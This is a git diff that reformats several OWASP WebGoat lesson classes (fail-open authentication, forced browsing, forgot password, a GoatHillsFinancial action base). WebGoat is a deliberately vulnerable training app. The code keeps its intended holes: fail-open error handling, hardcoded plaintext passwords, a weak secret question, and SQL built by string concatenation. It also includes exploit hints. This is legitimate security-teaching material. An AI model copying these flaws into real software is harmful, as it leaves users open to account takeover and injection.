+ makeSuccess(s);
+ return (makeUser(s, username, "Fail Open Error Handling"));
+ }
+ }
+ }
+
+ // Don't let the fail open pass with a blank password.
+ if (password.length() == 0)
+ {
+ // We make sure the username was submitted to avoid telling the user an invalid
+ // username/password was entered when they first enter the lesson via the side menu.
+ // This also suppresses the error if they just hit the login and both fields are
+ // empty.
+ if (username.length() != 0)
+ {
+ s.setMessage("Invalid username and password entered.");
+ }
+
+ return (makeLogin(s));
+
+ }
+
+ // otherwise authentication is good, show the content
+ if ((username != null) && (username.length() > 0)) { return (makeUser(s, username,
+ "Parameters. You did not exploit the fail open.")); }
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
}
return (makeLogin(s));
-
- }
-
- // otherwise authentication is good, show the content
- if ((username != null) && (username.length() > 0))
- {
- return (makeUser(s, username,
- "Parameters. You did not exploit the fail open."));
- }
}
- catch (Exception e)
+
+ /**
+ * Gets the category attribute of the FailOpenAuthentication object
+ *
+ * @return The category value
+ */
+ public Category getDefaultCategory()
{
- s.setMessage("Error generating " + this.getClass().getName());
+ return Category.ERROR_HANDLING;
}
- return (makeLogin(s));
- }
+ /**
+ * Gets the hints attribute of the AuthenticateScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("You can force errors during the authentication process.");
+ hints.add("You can change length, existance, or values of authentication parameters.");
+ hints
+ .add("Try removing a parameter ENTIRELY with WebScarab.");
+ return hints;
+ }
- /**
- * Gets the category attribute of the FailOpenAuthentication object
- *
- * @return The category value
- */
- public Category getDefaultCategory()
- {
- return Category.ERROR_HANDLING;
- }
+ /**
+ * Gets the instructions attribute of the FailOpenAuthentication object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate "
+ + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without "
+ + "specifying a password.";
+ }
+ private final static Integer DEFAULT_RANKING = new Integer(20);
- /**
- * Gets the hints attribute of the AuthenticateScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("You can force errors during the authentication process.");
- hints
- .add("You can change length, existance, or values of authentication parameters.");
- hints
- .add("Try removing a parameter ENTIRELY with WebScarab.");
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- return hints;
- }
+ /**
+ * Gets the title attribute of the AuthenticateScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Fail Open Authentication Scheme");
+ }
-
- /**
- * Gets the instructions attribute of the FailOpenAuthentication object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate "
- + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without "
- + "specifying a password.";
- }
-
- private final static Integer DEFAULT_RANKING = new Integer(20);
-
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the AuthenticateScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Fail Open Authentication Scheme");
- }
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java
index c457b097b..7cfef80ca 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -16,138 +16,135 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies.
- * @created November 02, 2006
+ * @author Sherif Koussa Macadamian Technologies.
+ * @created November 02, 2006
*/
public class ForcedBrowsing extends LessonAdapter
{
- private final static String SUCCEEDED = "succeeded";
+ private final static String SUCCEEDED = "succeeded";
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- String success = new String(s.getParser().getStringParameter(SUCCEEDED,""));
-
+ String success = new String(s.getParser().getStringParameter(SUCCEEDED, ""));
+
if (success.length() != 0 && success.equals("yes"))
{
- ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page")));
- ec.addElement(new BR());
- Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
-
- TR tr = new TR();
- tr.addElement(new TD(new StringElement("Set Admin Privileges for: ")));
-
- Input input1 = new Input(Input.TEXT, "", "");
- tr.addElement(new TD(input1));
- t1.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD(new StringElement("Set Admin Password:")));
-
- input1 = new Input(Input.PASSWORD, "", "");
- tr.addElement(new TD(input1));
- t1.addElement(tr);
-
- Element b = ECSFactory.makeButton("Submit");
- t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right")));
- ec.addElement(t1);
-
- makeSuccess(s);
+ ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page")));
+ ec.addElement(new BR());
+ Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
+
+ TR tr = new TR();
+ tr.addElement(new TD(new StringElement("Set Admin Privileges for: ")));
+
+ Input input1 = new Input(Input.TEXT, "", "");
+ tr.addElement(new TD(input1));
+ t1.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD(new StringElement("Set Admin Password:")));
+
+ input1 = new Input(Input.PASSWORD, "", "");
+ tr.addElement(new TD(input1));
+ t1.addElement(tr);
+
+ Element b = ECSFactory.makeButton("Submit");
+ t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right")));
+ ec.addElement(t1);
+
+ makeSuccess(s);
}
else
{
- ec.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
+ ec
+ .addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
}
return ec;
- }
+ }
+ /**
+ * Gets the category attribute of the ForgotPassword object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.INSECURE_CONFIGURATION;
+ }
- /**
- * Gets the category attribute of the ForgotPassword object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.INSECURE_CONFIGURATION;
- }
-
-
- /**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
- */
- public List getHints(WebSession s)
- {
- List hints = new ArrayList();
+ /**
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
+ */
+ public List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
hints.add("Try to guess the URL for the config page");
hints.add("The config page is guessable and hackable");
hints.add("Play with the URL and try to guess what you can replace 'attack' with.");
hints.add("Try to navigate to http://localhost/WebGoat/conf");
return hints;
- }
+ }
- private final static Integer DEFAULT_RANKING = new Integer(15);
+ private final static Integer DEFAULT_RANKING = new Integer(15);
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Forced Browsing");
+ }
-
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Forced Browsing");
- }
-
-
- public Element getCredits()
- {
- return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java
index 6d2bee5ca..c003e284a 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.HashMap;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -17,322 +17,319 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
-
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Eric Sheridan Aspect Security
- * @created December 18, 2005
+ *
+ * @author Eric Sheridan Aspect Security
+ * @created December 18, 2005
*/
public class ForgotPassword extends LessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- private final static String USERNAME = "Username";
+ private final static String USERNAME = "Username";
- private static String USERNAME_RESPONSE = "";
+ private static String USERNAME_RESPONSE = "";
- private final static String COLOR = "Color";
+ private final static String COLOR = "Color";
- private static String COLOR_RESPONSE = "";
+ private static String COLOR_RESPONSE = "";
- private static int STAGE = 1;
+ private static int STAGE = 1;
- private final static HashMap USERS = new HashMap();
+ private final static HashMap USERS = new HashMap();
- private final static HashMap COLORS = new HashMap();
+ private final static HashMap COLORS = new HashMap();
-
- private void populateTables()
- {
+ private void populateTables()
+ {
USERS.put("admin", "2275$starBo0rn3");
USERS.put("jeff", "(_I_)illia(V)s");
USERS.put("dave", "\\V/ich3r$");
USERS.put("intern", "H3yn0w");
USERS.put("webgoat", "webgoat");
-
+
COLORS.put("admin", "green");
COLORS.put("jeff", "orange");
COLORS.put("dave", "purple");
COLORS.put("intern", "yellow");
COLORS.put("webgoat", "red");
- }
+ }
-
- protected Element doStage1(WebSession s)
- {
+ protected Element doStage1(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
-
+
ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
-
+
if (s.isColor())
{
- t.setBorder(1);
+ t.setBorder(1);
}
-
+
TR tr = new TR();
- tr.addElement(new TH().addElement("Please input your username. See the OWASP admin if you do not have an account.").setColSpan(2).setAlign("left"));
+ tr.addElement(new TH()
+ .addElement("Please input your username. See the OWASP admin if you do not have an account.")
+ .setColSpan(2).setAlign("left"));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement(" ").setColSpan(2));
t.addElement(tr);
-
+
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
-
+
Input input1 = new Input(Input.TEXT, USERNAME, "");
row1.addElement(new TD(input1));
t.addElement(row1);
-
+
Element b = ECSFactory.makeButton("Submit");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
-
+
return (ec);
- }
+ }
-
- protected Element doStage2(WebSession s)
- {
+ protected Element doStage2(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
-
+
ec.addElement(new H1().addElement("Webgoat Password Recovery "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
-
+
if (s.isColor())
{
- t.setBorder(1);
+ t.setBorder(1);
}
-
+
TR tr = new TR();
- tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2).setAlign("left"));
+ tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2)
+ .setAlign("left"));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement(" ").setColSpan(2));
t.addElement(tr);
-
+
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("*Answer: "))));
-
+
Input input1 = new Input(Input.TEXT, COLOR, "");
row1.addElement(new TD(input1));
t.addElement(row1);
-
+
Element b = ECSFactory.makeButton("Submit");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
-
+
return (ec);
- }
+ }
-
- protected Element doStage3(WebSession s)
- {
+ protected Element doStage3(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
-
+
ec.addElement(new H1().addElement("Webgoat Password Recovery "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
-
+
if (s.isColor())
{
- t.setBorder(1);
+ t.setBorder(1);
}
-
+
TR tr = new TR();
- tr.addElement(new TH().addElement("For security reasons, please change your password immediately.").setColSpan(2).setAlign("left"));
+ tr.addElement(new TH().addElement("For security reasons, please change your password immediately.")
+ .setColSpan(2).setAlign("left"));
t.addElement(tr);
-
+
tr = new TR();
- tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))).setAlign("left"));
+ tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:"))))
+ .setAlign("left"));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE)));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE)));
t.addElement(tr);
-
+
tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString())));
t.addElement(tr);
-
+
ec.addElement(t);
-
+
if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green"))
{
- makeSuccess(s);
+ makeSuccess(s);
}
else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE))
{
- s.setMessage("Close. Now try to get the password of a privileged account.");
+ s.setMessage("Close. Now try to get the password of a privileged account.");
}
return ec;
- }
+ }
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
String username = "";
String color = "";
-
+
color = s.getParser().getStringParameter(COLOR, "");
-
+
if (color.length() > 0)
- STAGE = 2;
+ STAGE = 2;
else
- STAGE = 1;
-
+ STAGE = 1;
+
if (USERS.size() == 0)
{
- populateTables();
+ populateTables();
}
-
+
if (STAGE == 2)
{
- color = s.getParser().getStringParameter(COLOR, "");
-
- if (COLORS.get(USERNAME_RESPONSE).equals(color))
- {
+ color = s.getParser().getStringParameter(COLOR, "");
+
+ if (COLORS.get(USERNAME_RESPONSE).equals(color))
+ {
STAGE = 1;
COLOR_RESPONSE = color;
ec.addElement(doStage3(s));
- }
- else
- {
+ }
+ else
+ {
s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!");
ec.addElement(doStage2(s));
- }
+ }
}
else if (STAGE == 1)
{
- username = s.getParser().getStringParameter(USERNAME, "");
-
- if (USERS.containsKey(username))
- {
+ username = s.getParser().getStringParameter(USERNAME, "");
+
+ if (USERS.containsKey(username))
+ {
STAGE = 2;
USERNAME_RESPONSE = username;
ec.addElement(doStage2(s));
- }
- else
- {
+ }
+ else
+ {
if (username.length() > 0)
{
s.setMessage("Not a valid username. Please try again.");
}
ec.addElement(doStage1(s));
- }
+ }
}
else
{
- ec.addElement(doStage1(s));
- STAGE = 1;
+ ec.addElement(doStage1(s));
+ STAGE = 1;
}
-
+
return ec;
- }
+ }
+ /**
+ * Gets the category attribute of the ForgotPassword object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
- /**
- * Gets the category attribute of the ForgotPassword object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
+ return Category.AUTHENTICATION;
+ }
- return Category.AUTHENTICATION;
- }
-
-
- /**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
- */
- public List getHints(WebSession s)
- {
+ /**
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
+ */
+ public List getHints(WebSession s)
+ {
List hints = new ArrayList();
-
+
hints.add("There is no lock out policy in place, brute force your way!");
hints.add("Try using usernames you might encounter throughout WebGoat.");
hints.add("There are only so many possible colors, can you guess one?");
hints.add("The administrative account is \"admin\"");
-
+
return hints;
- }
+ }
- private final static Integer DEFAULT_RANKING = new Integer(15);
+ private final static Integer DEFAULT_RANKING = new Integer(15);
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Forgot Password");
+ }
-
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Forgot Password");
- }
-
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java
index 32b4a2e3f..2f82feda0 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java
@@ -1,42 +1,42 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
-
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@@ -45,9 +45,9 @@ public abstract class DefaultLessonAction implements LessonAction
// FIXME: We could parse this class name to get defaults for these fields.
private String lessonName;
private String actionName;
-
+
private GoatHillsFinancial lesson;
-
+
public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName)
{
this.lesson = lesson;
@@ -55,8 +55,8 @@ public abstract class DefaultLessonAction implements LessonAction
this.actionName = actionName;
}
- public void handleRequest( WebSession s )
- throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
{
getLesson().setCurrentAction(s, getActionName());
@@ -83,37 +83,34 @@ public abstract class DefaultLessonAction implements LessonAction
{
return actionName;
}
-
+
public void setSessionAttribute(WebSession s, String name, Object value)
{
s.getRequest().getSession().setAttribute(name, value);
}
-
+
public void setRequestAttribute(WebSession s, String name, Object value)
{
s.getRequest().setAttribute(name, value);
}
-
+
public void removeSessionAttribute(WebSession s, String name)
{
- s.getRequest().getSession().removeAttribute(name);
+ s.getRequest().getSession().removeAttribute(name);
}
-
+
protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
String value = (String) s.getRequest().getSession().getAttribute(name);
- if (value == null)
- {
- throw new ParameterNotFoundException();
- }
-
+ if (value == null) { throw new ParameterNotFoundException(); }
+
return value;
}
-
+
protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
boolean value = false;
-
+
Object attribute = s.getRequest().getSession().getAttribute(name);
if (attribute == null)
{
@@ -121,13 +118,15 @@ public abstract class DefaultLessonAction implements LessonAction
}
else
{
- //System.out.println("Attribute " + name + " is of type " + s.getRequest().getSession().getAttribute(name).getClass().getName());
- //System.out.println("Attribute value: " + s.getRequest().getSession().getAttribute(name));
+ // System.out.println("Attribute " + name + " is of type " +
+ // s.getRequest().getSession().getAttribute(name).getClass().getName());
+ // System.out.println("Attribute value: " +
+ // s.getRequest().getSession().getAttribute(name));
value = ((Boolean) attribute).booleanValue();
}
return value;
}
-
+
protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
int value = -1;
@@ -141,26 +140,22 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
value = Integer.parseInt(ss);
- }
- catch (NumberFormatException nfe)
+ } catch (NumberFormatException nfe)
{
}
}
-
+
return value;
}
-
+
protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{
String value = (String) s.getRequest().getAttribute(name);
- if (value == null)
- {
- throw new ParameterNotFoundException();
- }
-
+ if (value == null) { throw new ParameterNotFoundException(); }
+
return value;
}
-
+
protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{
int value = -1;
@@ -174,153 +169,154 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
value = Integer.parseInt(ss);
- }
- catch (NumberFormatException nfe)
+ } catch (NumberFormatException nfe)
{
}
}
-
+
return value;
}
-
+
public int getUserId(WebSession s) throws ParameterNotFoundException
{
return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
}
-
+
public String getUserName(WebSession s) throws ParameterNotFoundException
{
String name = null;
-
+
int employeeId = getUserId(s);
try
{
String query = "SELECT first_name FROM employee WHERE userid = " + employeeId;
-
+
try
{
- Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
- ResultSet answer_results = answer_statement.executeQuery( query );
- if (answer_results.next())
- name = answer_results.getString("first_name");
- }
- catch ( SQLException sqle )
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ if (answer_results.next()) name = answer_results.getString("first_name");
+ } catch (SQLException sqle)
{
- s.setMessage( "Error getting user name" );
+ s.setMessage("Error getting user name");
sqle.printStackTrace();
}
- }
- catch ( Exception e )
+ } catch (Exception e)
{
- s.setMessage( "Error getting user name" );
+ s.setMessage("Error getting user name");
e.printStackTrace();
}
return name;
}
-
+
public boolean requiresAuthentication()
{
// Default to true
return true;
}
-
+
public boolean isAuthenticated(WebSession s)
{
boolean authenticated = false;
-
+
try
{
authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated");
+ } catch (ParameterNotFoundException e)
+ {
}
- catch (ParameterNotFoundException e)
- {
- }
-
+
return authenticated;
}
-
+
public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{
- String employer_id = (String)s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
- //System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + " having USER_ID = " + employer_id );
+ String employer_id = (String) s.getRequest().getSession()
+ .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ // System.out.println("Authorizing " + employeeId + " for use of function: " + functionId +
+ // " having USER_ID = "
+ // + employer_id );
boolean authorized = false;
-
+
try
{
- String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + employeeId + ") and functionid = '" + functionId + "'";
-
+ String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = "
+ + employeeId + ") and functionid = '" + functionId + "'";
+
try
{
- Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
- ResultSet answer_results = answer_statement.executeQuery( query );
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first();
-
- /* User is validated for function, but can the user perform that function on the specified user? */
- if(authorized)
+
+ /*
+ * User is validated for function, but can the user perform that function on the
+ * specified user?
+ */
+ if (authorized)
{
